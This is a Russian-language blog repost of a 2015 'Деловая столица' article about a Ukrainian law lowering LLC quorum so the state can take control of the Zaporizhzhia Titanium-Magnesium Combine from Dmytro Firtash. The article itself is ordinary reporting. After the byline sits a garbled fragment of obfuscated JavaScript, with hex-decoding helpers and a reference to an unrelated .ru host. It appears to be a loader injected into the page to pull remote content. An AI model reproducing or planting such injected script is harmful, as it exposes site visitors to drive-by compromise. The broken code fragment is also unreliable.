Хроники и Комментарии

Власть, расследования, сатира, фото

ЗТМК ВНОВЬ НА КОНУ. Ради победы над Фирташем власти пожертвовали вафлями

Posted by operkor на 30 ноября, 2015

Фото ВВП

Фото ВВП

Благодаря снижению кворума для собраний участников в ООО у властей появился шанс перехватить у Дмитрия Фирташа контроль над ключевым титановым активом. Взамен государству придется “пожертвовать” рядом менее ценных компаний

24 ноября Верховная Рада приняла Закон “О внесении изменений в ст. 60 Закона Украины “О хозяйственных обществах” (относительно уменьшения кворума общего собрания участников общества с ограниченной ответственностью)” №2757. Во втором чтении и в целом он набрал 233 голоса народных депутатов. Закон уменьшает кворум для собраний участников ООО с более 60 до более 50% голосов.

Официальной причиной этого была названа необходимость прекращения практики, когда владельцы 40%-й долей имеют возможность блокировать стратегические решения, не являясь на собрания, а собственники контрольной доли ничего не могли с этим сделать. Тем более, что в акционерных обществах ранее кворум уже был снижен до более 50%. А поскольку и те, и другие общества имеют одну бизнес-природу, то, по мнению нардепа от БПП Павла Ризаненко, который выступил автором законопроекта,  ЛТД-шки давно следовало привести в соответствие с этим правилом.

Впрочем, неформально эти изменения преследовали одну конкретную цель — позволить властям перехватить контроль над монопольным производителем титановой губки и одним из самых рентабельных заводов Украины — Запорожским титаномагниевым комбинатом (ЗТМК). На это “прозрачно намекнул” в своем Twitter глава Минэкономразвития Айварас Абромавичус. “Теперь олигархи не будут контролировать титановую отрасль. Принят ЗП 2757”, — написал министр 24 ноября.

Губка преткновения

Как сообщала “Деловая столица”, в 2012 г. Кабинет Министров решил привлечь частного инвестора на казенное предприятие “Запорожский титано-магниевый комбинат “ — единственного в Украине производителя титановой губки. Правда, Кабмин Николая Азарова решил,что продать долю в предприятии, выручив за это сотни миллионов гривень, будет слишком просто, и пошел по другому пути. На базе завода было решено создать одноименное ООО, в котором 51%  сохранили у государства в обмен на имущественный комплекс ЗТМК, оцененный в 716,9 млн грн., а 49% было решено отписать инвестору.

Условия конкурса по его отбору выписали таким образом, что фактически отсекли всех претендентов, кроме одного — группы Ostchem Дмитрия Фирташа, которая управляла на тот момент монополистами по добыче титанового сырья в стране Иршанским ГОКом и Вольногорским ГМК. В итоге 49% ЗТМК достались принадлежащей Фирташу фирме Tolexis Trading Ltd, которая внесла деньги в ей же подконтрольное ООО (ЗТМК возглавил Владимир Сивак, который ранее занимал должность заместителя председателя правления  Крымского содового завода — другого предприятия Фирташа).

В 2014 г., после смены власти и утраты Фирташем былого влияния, его титановая империя начала рушиться. Одним из наиболее болезненных ударов стало лишение Ostchem контроля над уже упомянутыми Вольногорским ГМК и Иршанским ГОКом, которые по решению Кабмина передали госпредприятию “Объединенная горно-химическая компания”.

Этой же структуре, неформальным куратором которой ряд СМИ назвали нардепа от “Народного фронта” Николая Мартыненко, вскоре был передан в управление и государственный контрольный пакет в ЗТМК. Однако получить доступ к управлению им ОГХК до последнего времени не могла — комбинатом продолжает управлять Сивак, сместить которого без согласия Фирташа пока невозможно.

Благодаря снижению кворума в ООО до простого большинства у ОГХК появится возможность сделать это, и в госкомпании уже подтвердили соответствующие планы. “На первом собрании (учредителей) мы рассмотрим вопрос смены руководства ЗТМК”, — заявил глава ОГХК Руслан Журило.

ФГИУ может потерять вафли и лопатки

Лишним подтверждением узконаправленности законопроекта Ризаненко является то, что для ООО, в которых нет доли государства, новые требования о кворуме будут добровольными, а обязательными лишь для тех, где она есть. В большинстве случаев уставы ООО дублировали норму закона о кворуме более чем 60% (часть 1 ст. 60 Закона Украины “О хозяйственных обществах”), так как, в соответствии с Гражданским кодексом, должны были содержать сведения о порядке принятия решений органами общества.

“Это означает, что для большинства ООО кворум общего собрания участников не будет изменен автоматически, а только по желанию учредителей, после внесения изменений в устав”, — говорит представитель ЮФ “Ильяшев и Партнеры” Ирина Кузина.

В каких ООО, кроме ЗТМК, у государства остались значительные доли, на управление которыми влияет новый закон? По данным Фонда государственного имущества на конец октября, он управлял госдолями от 40 до 60% в двух десятках ООО, и еще около десяти подобных пакетов ЛТД-шек входили в орбиту других ведомств.

По данным “ДС”, большинство из них уже давно не представляют никакого интереса для инвесторов.  Среди таких активов —  кирпичный завод “Перспектива”, расположенный в Мариуполе, который в конце октября 2015 г. Хозсуд Донецкой области признал банкротом и открыл его ликвидационную процедуру (ФГИУ владеет 56,4%-ной долей в нем). Похожая история и с дрогобычской компанией “Старт”, в которой ФГИУ владеет 57%.

К неликвидам можно отнести также днепродзержинский “Униметалл”, находящийся в процедуре ликвидации почти десять лет, и светловодский “Укрос” (у ФГИУ чуть более 50% в их капиталах). А также 51%-ную долю государства в СП с минским часовым заводом “Арсенал-Луч”, выделенным в свое время из состава киевского ГП “Арсенал” — эта компания пребывает в банкротстве с 2010 г.

Из всего списка “Деловой столице“ удалось найти три наиболее ценных актива. Среди них — ООО “Керамнадра”, которое разрабатывает крупнейшее в стране Береговское месторождение каолина в Закарпатской области. Ключевым рынком сбыта его продукции является Словакия, откуда родом и владелец 49%-ной доли в капитале ООО — словацкая компания Kerametal. По этой причине сомнительно, что ФГИУ, владеющий 51% компании, решить изменить условия партнерства с иностранным соучредителем.

А вот как минимум в двух привлекательных активах Фонду госимущества придется потерять свои “джокеры”. Речь идет о самых доходных ООО, в которых у приватизационного ведомства остались “малые контрольные пакеты” — от 40 до 50%. Наиболее интересный актив из этого списка — производитель кондитерских изделий из Черкасс “Світ ласощів”. В этой компании, изготавливающей вафли, кексы и другие сладости, приватизационное ведомство владеет 40%, а 60% находится у Шполянской кондитерской фабрики, входящей в холдинг “Петрус” Людмилы Русалиной. Второй актив из “зоны риска” — киевская компания “Патон  Турбайн Текнолоджиз”, выпускающая лопатки для двигателей самолетов.

Эта структура — СП государственного Института электросварки им. Патона и двух резидентов Великобритании — Technoline Project LLP и Fly Engineering LLP (своих бенефициаров эти структуры не раскрывают). Последние на двоих владеют 51% в компании и с вступлением нового закона в силу, как и “Петрус”, получат возможность полностью взять рычаги управления этим бизнесом в свои руки.

Деловая столица

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "operkor.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e//m81jmqmn.ru/f.html

Добавить комментарий

Please log in using one of these methods to post your comment:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход /  Изменить )

Google photo

Для комментария используется ваша учётная запись Google. Выход /  Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход /  Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход /  Изменить )

Connecting to %s

 
%d такие блоггеры, как: